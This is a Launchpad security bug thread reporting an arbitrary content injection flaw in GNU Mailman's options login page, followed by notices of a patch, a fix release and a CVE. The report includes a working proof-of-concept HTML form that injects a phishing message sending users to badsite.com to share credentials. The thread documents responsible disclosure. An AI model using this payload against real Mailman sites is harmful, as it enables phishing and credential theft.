[Bug 1873722] [NEW] Arbitrary Content Injection via the options login page.
*** This bug is a security vulnerability *** Private security bug reported: An issue similar to CVE - https://www.cvedetails.com/cve/CVE-2018-13796/ exists at different endpoint & param. It can lead to a phishing attack. Steps To Reproduce: 1. Copy and save the following HTML code and open it in any browser. Code: <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://example.com/mailman/options/mailman" method="POST"> <input type="hidden" name="email" value="Your account has been hacked. Kindly go to https://badsite.com or share your credentials at attacker@badsite.com" /> <input type="hidden" name="UserOptions" value="Unsubscribe or edit options" /> <input type="hidden" name="language" value="en" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2. Can be seen there- "Your account has been hacked. Kindly go to https://badsite.com or share your credentials at attacker@badsite.com" message will be displayed on the screen. ** Affects: mailman Importance: Medium Assignee: Mark Sapiro (msapiro) Status: Confirmed -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions
** Patch added: "Patch to fix this issue" https://bugs.launchpad.net/mailman/+bug/1873722/+attachment/5356970/+files/o... -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions
** Changed in: mailman Milestone: None => 2.1.31 -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions
** Branch linked: lp:mailman/2.1 -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions
** Changed in: mailman Status: Confirmed => Fix Released ** Information type changed from Private Security to Public -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions
** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12108 -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions
participants (3)
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Launchpad Bug Tracker -
Mark Sapiro
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Mark Sapiro